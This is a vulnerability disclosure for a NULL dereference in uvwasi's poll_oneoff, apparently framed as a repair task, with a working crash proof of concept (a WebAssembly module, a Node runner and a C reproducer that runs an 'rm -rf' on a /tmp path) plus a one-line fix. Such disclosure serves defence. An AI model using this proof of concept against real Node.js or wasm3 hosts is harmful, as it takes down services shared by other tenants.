poll_oneoff: NULL deref in duplicate-fd scan when an earlier subscription has an invalid fd

Đọc src/poll_oneoff.c, đặc biệt là uvwasi__poll_oneoff_state_add_fdevent và phần quét các descriptor trùng lặp quanh dòng 195. Chạy chương trình C tái hiện được cung cấp trong repro/uvwasi_poll_lab.c hoặc repro/build_and_run.sh để xác nhận sự cố crash và các đối chứng âm. Hoàn thành khi polling với một descriptor không hợp lệ ở trước và một subscription ở sau không còn gây crash, đồng thời các đối chứng vẫn hoạt động như mô tả.

Component: nodejs/uvwasi
Tested against: nodejs/uvwasi@fe602a6911207efd8dcfc070a752bcf76813c978 (main, 2026-10-16), clean clone, no local patches
Class: CWE-476, NULL pointer dereference, reachable from untrusted guest input
Impact: guest can crash the host process (denial of service)
Status: not previously reported
Reporter: Nikita Nikitin (GitHub @SvatmemeorNobody)

1. Summary

A WASI guest can crash the host with one poll_oneoff call that has two or more
subscriptions, where an earlier subscription names a descriptor that is not open.

This is normal guest behaviour. Polling a descriptor that failed to open, for
example a socket that did not connect or a file that was removed, together with
anything else in the same call, is something a guest can do by accident.

Confirmed to crash:

wasm3 v0.9.0 (stable), stock CLI, default POSIX WASI layer built with BUILD_WASI=uvwasi

wasm3 v0.9.1-beta.1 (experimental), same build

Node.js v22.23.3, node:wasi, via --experimental-wasi-unstable-preview1

a standalone C program that calls uvwasi_poll_oneoff directly (reproducer attached)

2. The defect

In src/poll_oneoff.c, function uvwasi__poll_oneoff_state_add_fdevent:

err = uvwasi_fd_table_get(state->uvwasi->fds, fd, &event->wrap, rights, 0);
if (err == UVWASI_EBADF)
    event->wrap = NULL;              /* an unopened fd leaves wrap NULL */
else if (err != UVWASI_ESUCCESS)
    return err;
...
for (i = 0; i < state->fdevent_cnt; i++) {
    dup = &state->fdevents[i];
    if (dup->wrap->id == fd) {       /* line 195: NULL deref */

An unopened descriptor leaves event->wrap as NULL, which is fine for that
subscription. But when the next subscription is added, the duplicate-descriptor
scan walks the previously accepted subscriptions and reads dup->wrap->id
without checking that wrap is not NULL.

So one invalid descriptor plus one more subscription is enough. A single invalid
descriptor on its own does not crash.

Trigger: one poll_oneoff call, two or more subscriptions, an earlier one naming
a descriptor that is not open.
3. Proof of concept
3.1 The wasm module

poc/poc_poll_oneoff.wasm is 237 bytes, built from poc/poc_poll_oneoff.wat.
It calls poll_oneoff with two subscriptions. The first names fd 999, which is
not open. The second names fd 3.

;; poc_poll_oneoff.wat -- the proof of concept, as a WebAssembly module.
;; Build:  wat2wasm poc_poll_oneoff.wat -o poc_poll_oneoff.wasm
;; Run:    node --experimental-wasi-unstable-preview1 run_node.mjs
;;         (or any runtime linking uvwasi, e.g. wasm3 built with
;;          BUILD_WASI=uvwasi)
(module
  (import "wasi_snapshot_preview1" "poll_oneoff"
    (func $poll_oneoff (param i32 i32 i32 i32) (result i32)))
  (import "wasi_snapshot_preview1" "fd_write"
    (func $fd_write (param i32 i32 i32 i32) (result i32)))

  (memory (export "memory") 1)

  ;; "survived\n"
  (data (i32.const 700) "survived\n")

  (func (export "_start")
    ;;  subscription 0: a descriptor that is not open
    (i64.store (i32.const 0) (i64.const 1))      ;; userdata
    (i32.store8 (i32.const 8) (i32.const 1))     ;; type = fd_read
    (i32.store (i32.const 16) (i32.const 999))   ;; fd = 999 (not open)

    ;;  subscription 1: any other descriptor
    (i64.store (i32.const 48) (i64.const 2))     ;; userdata
    (i32.store8 (i32.const 56) (i32.const 1))    ;; type = fd_read
    (i32.store (i32.const 64) (i32.const 3))     ;; fd = 3

    ;;poll_oneoff(subs=0, events=256, nsubscriptions=2, nevents=1024)
    (drop (call $poll_oneoff
            (i32.const 0) (i32.const 256) (i32.const 2) (i32.const 1024)))

    ;; if we are still alive, say so
    (i32.store (i32.const 256) (i32.const 700))
    (i32.store (i32.const 260) (i32.const 9))
    (drop (call $fd_write (i32.const 1) (i32.const 256) (i32.const 1) (i32.const 1028)))))

Note the stride. A WASI preview1 subscription is 48 bytes
and the fd is at offset 16. If you use 40
as the stride, which is the intuitive guess, the first subscription ends up with
a valid fd, nothing crashes, and the bug looks absent. Worth stating because it
is easy to spend a long time concluding it does not reproduce.
3.2 Running it

Node.js, using poc/run_node.mjs:

node --experimental-wasi-unstable-preview1 poc/run_node.mjs

Any runtime that links uvwasi, for example wasm3 built with BUILD_WASI=uvwasi:

wasm3 poc/poc_poll_oneoff.wasm

Both crash with SIGSEGV.
3.3 The C reproducer

repro/uvwasi_poll_lab.c calls the public API directly and includes two negative
controls. repro/build_and_run.sh clones uvwasi at the commit above, builds it
twice (once with AddressSanitizer, once without), builds the lab, and runs it.

ASan build, output as produced:

==271185==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55f2549c8a30 bp 0x7ffe42ab47a0 sp 0x7ffe42ab4740 T0)
    #1 0x55f2549c0df2 in uvwasi_poll_oneoff /home/nik/youngfinder/uvwasi/uvwasi-source/src/uvwasi.c:2573
    #2 0x55f2549b6fec in main /home/nik/youngfinder/uvwasi/1/repro/uvwasi_poll_lab.c:87
SUMMARY: AddressSanitizer: SEGV /home/nik/youngfinder/uvwasi/uvwasi-source/src/poll_oneoff.c:195 in uvwasi__poll_oneoff_state_add_fdevent

The frame for add_fdevent does not appear on its own stack line because it is
inlined into uvwasi_poll_oneoff; ASan names it in the SUMMARY line.

Plain build, no sanitizer:
```text

preopen fd=3
poll_oneoff with 2 subscription(s), first fd invalid = yes
Segmentation fault (core dumped)
exit status: 139

Controls, run from the same lab:

1 subscription, invalid fd
poll_oneoff returns UVWASI_ESUCCESS (nevents=1), no crash

2 subscriptions, first fd valid
poll_oneoff returns UVWASI_ENOTCAPABLE (nevents=0), no crash

The controls show the trigger is the combination described in section 2 and
nothing else.

The crash is deterministic. It does not depend on the host memory layout, unlike
an out of bounds read which only faults if the scan crosses an unmapped page.

4. How it was found

libFuzzer, driving the public WASI API functions, such as uvwasi_path_open and
uvwasi_poll_oneoff, with guest-shaped arguments.
5. Impact:

Guest-triggerable host crash. Any untrusted WASI guest can take the host
process down with one call. In a server or edge deployment, that is every
tenant's function going down with it.

No memory disclosure, no write primitive, no privilege gain. This is a denial
of service.

Node.js is affected. node:wasi links uvwasi, and the vendored copy is in
deps/uvwasi/. deps/uvwasi/src/poll_oneoff.c is the file in question.

wasm3's default POSIX build is affected. Its CMake selects BUILD_WASI=uvwasi
on Linux.

wasmtime is not affected. It has its own preview1 implementation and does not
link uvwasi.

6. Suggested fix

Skip entries that have no wrap in the duplicate-descriptor scan.

for (i = 0; i < state->fdevent_cnt; i++) {
    dup = &state->fdevents[i];
    if (dup->wrap != NULL && dup->wrap->id == fd) {

files
run_mode.mjs

import { WASI } from 'node:wasi';
import { readFile } from 'node:fs/promises';

const wasi = new WASI({
  version: 'preview1',
  args: ['poc_poll_oneoff.wasm'],
  env: {},
  preopens: {},            // no preopens: fd 3 is not open either
  returnOnExit: true,
});

const bytes = await readFile('./poc_poll_oneoff.wasm');
const module = await WebAssembly.compile(bytes);
const instance = await WebAssembly.instantiate(module, wasi.getImportObject());
wasi.start(instance);
console.log('PoC returned normally (no crash)');

uvwasi_poll_lab.c

#include <uvwasi.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>

static uvwasi_t u;
static uvwasi_fd_t g_dirfd = 0;

static void mk(const char *path, const char *content)
{
    FILE *f = fopen(path, "wb");
    if (f) { fputs(content, f); fclose(f); }
}

int main(int argc, char **argv)
{
    const char *sandbox = (argc > 1) ? argv[1] : "/tmp/uvwasi_fuzz_root/data";
    int nsubs = (argc > 2) ? atoi(argv[2]) : 2;
    int bad_first = (argc > 3) ? atoi(argv[3]) : 1;

    system("rm -rf /tmp/uvwasi_poll_root");
    mkdir("/tmp/uvwasi_poll_root", 0755);
    mkdir(sandbox, 0755);
    { char p[512]; snprintf(p, sizeof(p), "%s/inside.txt", sandbox); mk(p, "inside\n"); }

    uvwasi_options_t options;
    uvwasi_options_init(&options);
    uvwasi_preopen_t pre;
    pre.mapped_path = "/data";
    pre.real_path = sandbox;
    options.preopens = &pre;
    options.preopenc = 1;
    options.fd_table_size = 256;
    options.in = 0; options.out = 1; options.err = 2;
    if (uvwasi_init(&u, &options) != UVWASI_ESUCCESS) { printf("init failed\n"); return 2; }

    for (int i = 3; i < 64; i++) {
        uvwasi_fd_t fd = 0;
        if (uvwasi_path_open(&u, i, 0, "inside.txt", 10, 0,
                             UVWASI_RIGHT_FD_READ, UVWASI_RIGHT_FD_READ, 0, &fd) == UVWASI_ESUCCESS) {
            g_dirfd = i; uvwasi_fd_close(&u, fd); break;
        }
    }
    if (!g_dirfd) { printf("preopen fd not found\n"); return 2; }
    printf("preopen fd=%d\n", g_dirfd);

    uvwasi_subscription_t subs[8];
    uvwasi_event_t events[8];
    uvwasi_size_t nevents = 0;
    memset(subs, 0, sizeof(subs));
    memset(events, 0, sizeof(events));

    for (int i = 0; i < nsubs && i < 8; i++) {
        subs[i].userdata = (uvwasi_userdata_t)(uintptr_t)(i + 1);
        subs[i].type = UVWASI_EVENTTYPE_FD_READ;
        /* the first subscription names a descriptor that is NOT open */
        subs[i].u.fd_readwrite.fd = (i == 0 && bad_first) ? 999 : g_dirfd;
    }

    printf("poll_oneoff with %d subscription(s), first fd invalid = %s\n",
           nsubs, bad_first ? "yes" : "no");
    fflush(stdout);

    uvwasi_errno_t err = uvwasi_poll_oneoff(&u, subs, events, (uvwasi_size_t)nsubs, &nevents);
    printf("poll_oneoff -> %s (nevents=%u)\n",
           uvwasi_embedder_err_code_to_string(err), nevents);
    uvwasi_destroy(&u);
    return 0;
}

build_and_run.sh

#!/bin/sh
#
# build_and_run.sh -- reproduce the uvwasi poll_oneoff NULL dereference.
#
# Builds uvwasi from source twice (once with AddressSanitizer, once without)
# and runs the reproducer in both, so the two signatures can be compared:
#
#   ASan build   -> "SEGV on unknown address 0x000000000000" + stack, exit 1
#   plain build  -> raw SIGSEGV, exit 139
#
# The reproducer is expected to crash, so errexit is off around it.
#
# usage: ./build_and_run.sh [path-to-uvwasi-source]
set -eu

HERE=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
SRC=${1:-}
if [ -z "$SRC" ]; then
    for cand in "$HERE/../uvwasi-source" "$HERE/../../uvwasi-source" "$HOME/youngfinder/uvwasi/uvwasi-source"; do
        [ -d "$cand" ] && SRC="$cand" && break
    done
fi
if [ -z "$SRC" ] || [ ! -f "$SRC/src/poll_oneoff.c" ]; then
    echo "uvwasi sources not found. Clone them:" >&2
    echo "  git clone https://github.com/nodejs/uvwasi.git ~/youngfinder/uvwasi/uvwasi-source" >&2
    exit 2
fi

BUILD=$HERE/build
mkdir -p "$BUILD"
echo "=== uvwasi source: $SRC"
git -C "$SRC" rev-parse HEAD 2>/dev/null | sed 's/^/    commit: /' || true

echo "=== building uvwasi twice: once with ASan, once without ==="
cmake -S "$SRC" -B "$BUILD/cmake_asan" -DCMAKE_BUILD_TYPE=Debug \
      -DUVWASI_BUILD_SHARED=OFF -DINSTALL_UVWASI=OFF \
      -DCMAKE_C_FLAGS="-O1 -g -fsanitize=address -fno-omit-frame-pointer" \
      > "$BUILD/cmake_asan.log" 2>&1 || { tail -20 "$BUILD/cmake_asan.log"; exit 2; }
cmake --build "$BUILD/cmake_asan" -j"$(nproc)" > "$BUILD/build_asan.log" 2>&1 \
      || { tail -20 "$BUILD/build_asan.log"; exit 2; }
cmake -S "$SRC" -B "$BUILD/cmake_plain" -DCMAKE_BUILD_TYPE=Release \
      -DUVWASI_BUILD_SHARED=OFF -DINSTALL_UVWASI=OFF \
      > "$BUILD/cmake_plain.log" 2>&1 || { tail -20 "$BUILD/cmake_plain.log"; exit 2; }
cmake --build "$BUILD/cmake_plain" -j"$(nproc)" > "$BUILD/build_plain.log" 2>&1 \
      || { tail -20 "$BUILD/build_plain.log"; exit 2; }
echo "    ok"

echo "=== building the reproducer (ASan + plain) ==="
gcc -O1 -g -fsanitize=address -fno-omit-frame-pointer -I "$SRC/include" \
    -o "$BUILD/lab_asan" "$HERE/uvwasi_poll_lab.c" "$BUILD/cmake_asan/libuvwasi.a" \
    -luv -lpthread -ldl -lm
gcc -O2 -I "$SRC/include" -o "$BUILD/lab_plain" "$HERE/uvwasi_poll_lab.c" \
    "$BUILD/cmake_plain/libuvwasi.a" -luv -lpthread -ldl -lm
echo "    ok"

mkdir -p "$BUILD/sandbox"

# the reproducer is EXPECTED to crash, so errexit is off around it
set +e

echo
echo "=== ASan build (the evidence) ==="
ASAN_OPTIONS=detect_leaks=0 "$BUILD/lab_asan" "$BUILD/sandbox" 2 1 2>&1 \
    | grep -aE "ERROR: AddressSanitizer|SUMMARY|#1 |#2 " | head -5
echo "    exit status: $?"

echo
echo "=== plain build (the raw signal: no sanitizer in the way) ==="
"$BUILD/lab_plain" "$BUILD/sandbox" 2 1
echo "    exit status: $?   (139 = SIGSEGV, signal 11)"

echo
echo "expected: ASan -> SEGV on unknown address 0x000000000000 (exit 1)"
echo "          plain -> SIGSEGV (exit 139)"
set -e
exit 0

A patch against fe602a6 is attached as fix-poll_oneoff.diff, and I can send it
as a PR with a regression test.
Reported by Nikita Nikitin, GitHub @SvatmemeorNobody.